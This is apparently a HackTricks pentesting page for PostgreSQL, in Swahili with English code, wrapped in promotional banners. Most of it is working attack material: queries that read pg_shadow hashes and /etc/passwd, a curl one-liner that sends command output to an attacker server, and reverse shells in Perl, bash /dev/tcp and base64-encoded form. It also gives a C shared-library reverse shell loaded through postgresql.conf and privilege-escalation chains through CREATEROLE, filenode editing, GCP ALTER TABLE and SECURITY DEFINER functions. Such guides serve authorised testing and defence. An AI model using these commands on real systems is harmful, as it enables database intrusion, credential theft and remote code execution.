38 KiB
5432,5433 - Pentesting Postgresql
Tumia Trickest kujenga na kujiendesha kwa urahisi kazi zinazotolewa na zana za jamii zilizoendelea zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
PostgreSQL in وصف kama mfumo wa hifadhidata wa uhusiano wa vitu ambao ni chanzo wazi. Mfumo huu sio tu unatumia lugha ya SQL bali pia unaimarisha kwa vipengele vya ziada. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na operesheni, na kuifanya kuwa chaguo bora kwa wabunifu na mashirika.
Bandari ya kawaida: 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (5433 labda) ambayo haijatumiwa.
PORT STATE SERVICE
5432/tcp open pgsql
Unganisha & Msingi wa Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
{% hint style="warning" %}
Ikiwa unakimbia \list
na unapata database inayoitwa rdsadmin
unajua uko ndani ya AWS postgresql database.
{% endhint %}
Kwa maelezo zaidi kuhusu jinsi ya kutumia vibaya database ya PostgreSQL angalia:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
Automatic Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Kuchunguza bandari
Kulingana na utafiti huu, wakati jaribio la kuungana linashindwa, dblink
inatupa sqlclient_unable_to_establish_sqlconnection
exception ikiwa na maelezo ya kosa. Mifano ya maelezo haya imeorodheshwa hapa chini.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host haipo
DETAIL: haiwezekani kuungana na seva: Hakuna njia kwenda kwa mwenyeji Je, seva inafanya kazi kwenye mwenyeji "1.2.3.4" na inakubali muunganisho wa TCP/IP kwenye bandari 5678?
- Bandari imefungwa
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Bandari iko wazi
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
au
DETAIL: FATAL: password authentication failed for user "name"
- Bandari iko wazi au imechujwa
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya makosa. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kuchota majina ya watumiaji na nywila kutoka kwenye meza za mfumo hakuwezekani, unaweza kufikiria kutumia mbinu ya shambulio la orodha ya maneno iliyozungumziwa katika sehemu iliyopita, kwani inaweza kutoa matokeo chanya.
Uhesabuji wa Haki
Majukumu
Aina za Majukumu | |
---|---|
rolsuper | Jukumu lina haki za superuser |
rolinherit | Jukumu linaweza kurithi moja kwa moja haki za majukumu ambayo ni mwanachama wake |
rolcreaterole | Jukumu linaweza kuunda majukumu zaidi |
rolcreatedb | Jukumu linaweza kuunda hifadhidata |
rolcanlogin | Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha awali cha mamlaka ya kikao |
rolreplication | Jukumu ni jukumu la kuiga. Jukumu la kuiga linaweza kuanzisha muunganisho wa kuiga na kuunda na kufuta nafasi za kuiga. |
rolconnlimit | Kwa majukumu ambayo yanaweza kuingia, hii inaweka idadi ya juu ya muunganisho wa sambamba ambayo jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo. |
rolpassword | Si nywila (daima inasomeka kama ******** ) |
rolvaliduntil | Wakati wa kuisha kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kuisha |
rolbypassrls | Jukumu linapuuza kila sera ya usalama wa kiwango cha safu, angalia Sehemu 5.8 kwa maelezo zaidi. |
rolconfig | Mipangilio maalum ya jukumu kwa vigezo vya usanidi wa wakati wa kukimbia |
oid | Kitambulisho cha jukumu |
Makundi ya Kuvutia
- Ikiwa wewe ni mwanachama wa
pg_execute_server_program
unaweza kutekeleza programu - Ikiwa wewe ni mwanachama wa
pg_read_server_files
unaweza kusoma faili - Ikiwa wewe ni mwanachama wa
pg_write_server_files
unaweza kuandika faili
{% hint style="info" %} Kumbuka kwamba katika Postgres, mtumiaji, kikundi na jukumu ni sawa. Inategemea tu jinsi unavyotumia na ikiwa unaruhusu kuingia. {% endhint %}
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Meza
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Kazi
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
File-system actions
Read directories and files
Kutoka kwenye commit wanachama wa kikundi kilichofafanuliwa DEFAULT_ROLE_READ_SERVER_FILES
(kinachoitwa pg_read_server_files
) na watumiaji wakuu wanaweza kutumia njia ya COPY
kwenye njia yoyote (angalia convert_and_check_filename
katika genfile.c
):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
{% hint style="warning" %} Kumbuka kwamba ikiwa wewe si mtumiaji mkuu lakini una ruhusa za CREATEROLE unaweza kujiweka kuwa mwanachama wa kundi hilo:
GRANT pg_read_server_files TO username;
Maelezo zaidi. {% endhint %}
Kuna mifumo mingine ya postgres ambayo inaweza kutumika kusoma faili au kuorodhesha saraka. Ni superusers tu na watumiaji wenye ruhusa maalum wanaoweza kuzitumia:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html
Simple File Writing
Ni watumiaji wa juu tu na wanachama wa pg_write_server_files
wanaweza kutumia nakala kuandika faili.
{% code overflow="wrap" %}
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
{% endcode %}
{% hint style="warning" %}
Kumbuka kwamba ikiwa wewe si mtumiaji mkuu lakini una ruhusa za CREATEROLE
unaweza kujiweka kuwa mwanachama wa kundi hilo:
GRANT pg_write_server_files TO username;
Maelezo zaidi. {% endhint %}
Kumbuka kwamba COPY haiwezi kushughulikia herufi za newline, kwa hivyo hata kama unatumia payload ya base64 unahitaji kutuma mstari mmoja tu.
Kikomo muhimu sana cha mbinu hii ni kwamba copy
haiwezi kutumika kuandika faili za binary kwani inabadilisha baadhi ya thamani za binary.
Upakuaji wa faili za binary
Hata hivyo, kuna mbinu nyingine za kupakia faili kubwa za binary:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
Usanidi wa bug bounty: jiandikishe kwa Intigriti, jukwaa la bug bounty la premium lililotengenezwa na hackers, kwa hackers! Jiunge nasi https://go.intigriti.com/hacktricks leo, na uanze kupata zawadi hadi $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Kusasisha data za jedwali la PostgreSQL kupitia uandishi wa faili za ndani
Ikiwa una ruhusa zinazohitajika kusoma na kuandika faili za seva ya PostgreSQL, unaweza kusasisha jedwali lolote kwenye seva kwa kufuta node ya faili inayohusiana katika directory ya data ya PostgreSQL. Zaidi kuhusu mbinu hii hapa.
Hatua zinazohitajika:
- Pata directory ya data ya PostgreSQL
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Kumbuka: Ikiwa huwezi kupata njia ya sasa ya directory ya data kutoka kwa mipangilio, unaweza kuuliza toleo kuu la PostgreSQL kupitia SELECT version()
na kujaribu kulazimisha njia hiyo. Njia za kawaida za directory ya data kwenye usakinishaji wa Unix wa PostgreSQL ni /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Jina la kawaida la klasta ni main
.
2. Pata njia ya relative kwa filenode, inayohusiana na jedwali lengwa
SELECT pg_relation_filepath('{TABLE_NAME}')
Hii inapaswa kurudisha kitu kama base/3/1337
. Njia kamili kwenye diski itakuwa $DATA_DIRECTORY/base/3/1337
, yaani /var/lib/postgresql/13/main/base/3/1337
.
3. Pakua filenode kupitia kazi za lo_*
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Pata aina ya data, inayohusiana na jedwali lengwa
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Tumia Mhariri wa Filenode wa PostgreSQL ili kuhariri filenode; weka bendera zote za
rol*
kuwa 1 kwa ruhusa kamili.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
6. Re-upload filenode iliyohaririwa kupitia kazi za lo_*
, na kufuta faili asilia kwenye diski
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Hiari) Safisha cache ya jedwali ya ndani kwa kuendesha swali la SQL lenye gharama kubwa
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Sasa unapaswa kuona thamani za jedwali zilizosasishwa katika PostgreSQL.
Unaweza pia kuwa superadmin kwa kuhariri jedwali la pg_authid
. Tazama sehemu ifuatayo.
RCE
RCE kwa programu
Tangu toleo 9.3, ni watumiaji wa super tu na wanachama wa kundi pg_execute_server_program
wanaweza kutumia copy kwa RCE (mfano na exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Mfano wa exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
{% hint style="warning" %}
Kumbuka kwamba ikiwa wewe si mtumiaji mkuu lakini una ruhusa za CREATEROLE
unaweza kujiweka kuwa mwanachama wa kundi hilo:
GRANT pg_execute_server_program TO username;
Maelezo zaidi. {% endhint %}
Au tumia moduli multi/postgres/postgres_copy_from_program_cmd_exec
kutoka metasploit.
Maelezo zaidi kuhusu udhaifu huu hapa. Ingawa iliripotiwa kama CVE-2019-9193, Postges ilitangaza kuwa hii ilikuwa kipengele na haitarekebishwa.
RCE na Lugha za PostgreSQL
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}
RCE na nyongeza za PostgreSQL
Mara tu umepata kujifunza kutoka kwa chapisho la awali jinsi ya kupakia faili za binary unaweza kujaribu kupata RCE kwa kupakia nyongeza ya postgresql na kuipakia.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
Faili ya usanidi wa PostgreSQL RCE
{% hint style="info" %} Vikosi vya RCE vilivyo hapa chini ni muhimu sana katika muktadha wa SQLi uliokandamizwa, kwani hatua zote zinaweza kufanywa kupitia taarifa za SELECT zilizozungushwa {% endhint %}
Faili ya usanidi ya PostgreSQL inaweza kuandikwa na mtumiaji postgres, ambaye ndiye anayesimamia hifadhidata, hivyo kama superuser, unaweza kuandika faili kwenye mfumo wa faili, na kwa hivyo unaweza kuandika tena faili hii.
RCE na ssl_passphrase_command
Maelezo zaidi kuhusu mbinu hii hapa.
Faili ya usanidi ina sifa kadhaa za kuvutia ambazo zinaweza kusababisha RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Njia ya funguo binafsi ya hifadhidatassl_passphrase_command = ''
Ikiwa faili binafsi inalindwa na nenosiri (imefichwa) postgresql itafanya amri iliyoonyeshwa katika sifa hii.ssl_passphrase_command_supports_reload = off
Ikiwa sifa hii iko juu amri inayotekelezwa ikiwa funguo inalindwa na nenosiri itafanywa wakatipg_reload_conf()
inatekelezwa.
Kisha, mshambuliaji atahitaji:
- Dondosha funguo binafsi kutoka kwa seva
- Fichua funguo binafsi iliyopakuliwa:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- Andika tena
- Dondosha usanidi wa sasa wa postgresql
- Andika tena usanidi na usanidi wa sifa zilizotajwa:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
- Tekeleza
pg_reload_conf()
Wakati wa kujaribu hii niliona kuwa hii itafanya kazi tu ikiwa faili ya funguo binafsi ina ruhusa 640, inamilikiwa na root na na kikundi ssl-cert au postgres (hivyo mtumiaji postgres anaweza kuisoma), na iko katika /var/lib/postgresql/12/main.
RCE na archive_command
Maelezo zaidi kuhusu usanidi huu na kuhusu WAL hapa.
Sifa nyingine katika faili ya usanidi ambayo inaweza kutumika ni archive_command
.
Ili hii ifanye kazi, mipangilio ya archive_mode
inapaswa kuwa 'on'
au 'always'
. Ikiwa hiyo ni kweli, basi tunaweza kuandika tena amri katika archive_command
na kulazimisha itekelezwe kupitia operesheni za WAL (kuandika mbele ya kuandika).
Hatua za jumla ni:
- Angalia ikiwa hali ya archive imewezeshwa:
SELECT current_setting('archive_mode')
- Andika tena
archive_command
na payload. Kwa mfano, shell ya kurudi:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- Reload usanidi:
SELECT pg_reload_conf()
- Lazimisha operesheni ya WAL ifanye kazi, ambayo itaita amri ya archive:
SELECT pg_switch_wal()
auSELECT pg_switch_xlog()
kwa baadhi ya matoleo ya Postgres
RCE na maktaba za awali
Maelezo zaidi kuhusu mbinu hii hapa.
Huu mwelekeo wa shambulio unatumia faida ya mabadiliko yafuatayo ya usanidi:
session_preload_libraries
-- maktaba ambazo zitawekwa na seva ya PostgreSQL wakati wa muunganisho wa mteja.dynamic_library_path
-- orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.
Tunaweza kuweka thamani ya dynamic_library_path
kuwa saraka, inayoweza kuandikwa na mtumiaji postgres
anayesimamia hifadhidata, kwa mfano, saraka ya /tmp/
, na kupakia kitu kibaya cha .so
huko. Kisha, tutalazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakuliwa kwa kuijumuisha katika mabadiliko ya session_preload_libraries
.
Hatua za shambulio ni:
- Pakua
postgresql.conf
ya asili - Jumuisha saraka ya
/tmp/
katika thamani yadynamic_library_path
, kwa mfanodynamic_library_path = '/tmp:$libdir'
- Jumuisha jina la maktaba mbaya katika thamani ya
session_preload_libraries
, kwa mfanosession_preload_libraries = 'payload.so'
- Angalia toleo kuu la PostgreSQL kupitia swali la
SELECT version()
- Jenga msimbo wa maktaba mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Mifano ya msimbo:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Kujenga msimbo:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Pakua
postgresql.conf
mbaya, iliyoundwa katika hatua 2-3, na uandike tena ile ya asili - Pakua
payload.so
kutoka hatua 5 hadi saraka ya/tmp
- Reload usanidi wa seva kwa kuanzisha tena seva au kuitisha swali la
SELECT pg_reload_conf()
- Katika muunganisho ujao wa DB, utapokea muunganisho wa shell ya kurudi.
Postgres Privesc
CREATEROLE Privesc
Grant
Kulingana na nyaraka: Majukumu yenye CREATEROLE
ruhusa yanaweza kutoa au kubatilisha uanachama katika jukumu lolote ambalo haliko superuser.
Hivyo, ikiwa una ruhusa ya CREATEROLE
unaweza kujipatia ufikiaji wa majukumu mengine (ambayo si superuser) ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Badilisha Neno la Siri
Watumiaji wenye jukumu hili wanaweza pia kubadilisha neno la siri la watumiaji wengine wasio-superuser:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Ni kawaida kupata kwamba watumiaji wa ndani wanaweza kuingia katika PostgreSQL bila kutoa nenosiri lolote. Hivyo, mara tu unapokuwa umepata idhini za kutekeleza msimbo unaweza kutumia idhini hizi kukupa SUPERUSER
jukumu:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
{% hint style="info" %}
Hii mara nyingi inawezekana kwa sababu ya mistari ifuatayo katika faili la pg_hba.conf
:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
{% endhint %}
ALTER TABLE privesc
Katika hati hii inaelezwa jinsi ilivyowezekana privesc katika Postgres GCP kwa kutumia kibali cha ALTER TABLE ambacho kilitolewa kwa mtumiaji.
Unapojaribu kufanya mtumiaji mwingine kuwa mmiliki wa jedwali unapaswa kupata kosa linalokuzuia, lakini kwa wazi GCP ilitoa chaguo hilo kwa mtumiaji wa postgres ambaye si superuser katika GCP:
Kuunganisha wazo hili na ukweli kwamba wakati amri za INSERT/UPDATE/ANALYZE zinapotekelezwa kwenye jedwali lenye kazi ya kiashiria, kazi inaitwa kama sehemu ya amri kwa idhini za mmiliki wa jedwali. Inawezekana kuunda kiashiria na kazi na kutoa idhini za mmiliki kwa super user juu ya jedwali hilo, na kisha kuendesha ANALYZE juu ya jedwali na kazi mbaya ambayo itakuwa na uwezo wa kutekeleza amri kwa sababu inatumia idhini za mmiliki.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Utekelezaji
- Anza kwa kuunda jedwali jipya.
- Ingiza maudhui yasiyo na umuhimu katika jedwali ili kutoa data kwa ajili ya kazi ya index.
- Tengeneza kazi ya index yenye uharibifu ambayo ina payload ya utekelezaji wa msimbo, ikiruhusu amri zisizoidhinishwa kutekelezwa.
- BADILI mmiliki wa jedwali kuwa "cloudsqladmin," ambayo ni jukumu la superuser la GCP linalotumiwa pekee na Cloud SQL kusimamia na kudumisha hifadhidata.
- Fanya operesheni ya ANALYZE kwenye jedwali. Kitendo hiki kinamfanya injini ya PostgreSQL kubadilisha kwenye muktadha wa mtumiaji wa mmiliki wa jedwali, "cloudsqladmin." Kwa hivyo, kazi ya index yenye uharibifu inaitwa kwa ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya shell ambayo haikuwa na idhini hapo awali.
Katika PostgreSQL, mtiririko huu unaonekana kama ifuatavyo:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Kisha, jedwali la shell_commands_results
litakuwa na matokeo ya msimbo uliofanywa:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Local Login
Baadhi ya mifumo ya postgresql isiyo sahihi inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani, inawezekana kuingia kutoka 127.0.0.1 kwa kutumia dblink
function:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
{% hint style="warning" %}
Kumbuka kwamba ili kuifanya query ya awali ifanye kazi kazi dblink
inahitaji kuwepo. Ikiwa haipo unaweza kujaribu kuunda hiyo kwa
CREATE EXTENSION dblink;
{% endhint %}
Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hana ruhusa ya kuingia kutoka kwa IP ya nje, unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Ni possible kuangalia kama kazi hii ipo kwa:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Kazi iliyobainishwa kwa SECURITY DEFINER
Katika andiko hili, wapentester waliweza kupandisha hadhi ndani ya mfano wa postgres uliopewa na IBM, kwa sababu walipata kazi hii yenye bendera ya SECURITY DEFINER:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Kama ilivyoelezwa katika nyaraka kazi yenye SECURITY DEFINER inatekelezwa kwa mamlaka ya mtumiaji anayemiliki. Hivyo, ikiwa kazi hiyo ina udhaifu wa SQL Injection au inafanya baadhi ya vitendo vya mamlaka na vigezo vinavyodhibitiwa na mshambuliaji, inaweza kutumika vibaya ili kupandisha mamlaka ndani ya postgres.
Katika mstari wa 4 wa msimbo uliopita unaweza kuona kwamba kazi hiyo ina bendera ya SECURITY DEFINER.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
Na kisha tekeleza amri:
Pass Burteforce na PL/pgSQL
PL/pgSQL ni lugha ya programu yenye vipengele vyote ambayo inatoa udhibiti wa taratibu zaidi ikilinganishwa na SQL. Inaruhusu matumizi ya mizunguko na miundo ya udhibiti kuboresha mantiki ya programu. Zaidi ya hayo, kauli za SQL na triggers zina uwezo wa kuita kazi ambazo zimeundwa kwa kutumia lugha ya PL/pgSQL. Uunganisho huu unaruhusu njia pana na inayoweza kubadilika zaidi katika programu na automatisering ya hifadhidata.
Unaweza kutumia lugha hii ili kuomba PostgreSQL kujaribu nguvu akreditasi za watumiaji.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
Privesc kwa Kubadilisha Meza za Ndani za PostgreSQL
{% hint style="info" %} Vector ifuatayo ya privesc ni muhimu sana katika muktadha wa SQLi uliokandamizwa, kwani hatua zote zinaweza kufanywa kupitia kauli za SELECT zilizopangwa {% endhint %}
Ikiwa unaweza kusoma na kuandika faili za seva za PostgreSQL, unaweza kuwa superuser kwa kubadilisha filenode ya PostgreSQL kwenye diski, inayohusishwa na meza ya ndani ya pg_authid
.
Soma zaidi kuhusu mbinu hii hapa.
Hatua za shambulio ni:
- Pata directory ya data ya PostgreSQL
- Pata njia ya kulinganisha kwa filenode, inayohusishwa na meza ya
pg_authid
- Pakua filenode kupitia kazi za
lo_*
- Pata aina ya data, inayohusishwa na meza ya
pg_authid
- Tumia Mhariri wa Filenode wa PostgreSQL ili kuhariri filenode; weka bendera zote za
rol*
boolean kuwa 1 kwa ruhusa kamili. - Pandisha tena filenode iliyohaririwa kupitia kazi za
lo_*
, na ubadilishe faili asilia kwenye diski - (Chaguo) Safisha cache ya meza ya ndani kwa kuendesha swali la SQL lenye gharama kubwa
- Sasa unapaswa kuwa na ruhusa za superadmin kamili.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logging
Ndani ya faili postgresql.conf unaweza kuwezesha kumbukumbu za postgresql kwa kubadilisha:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
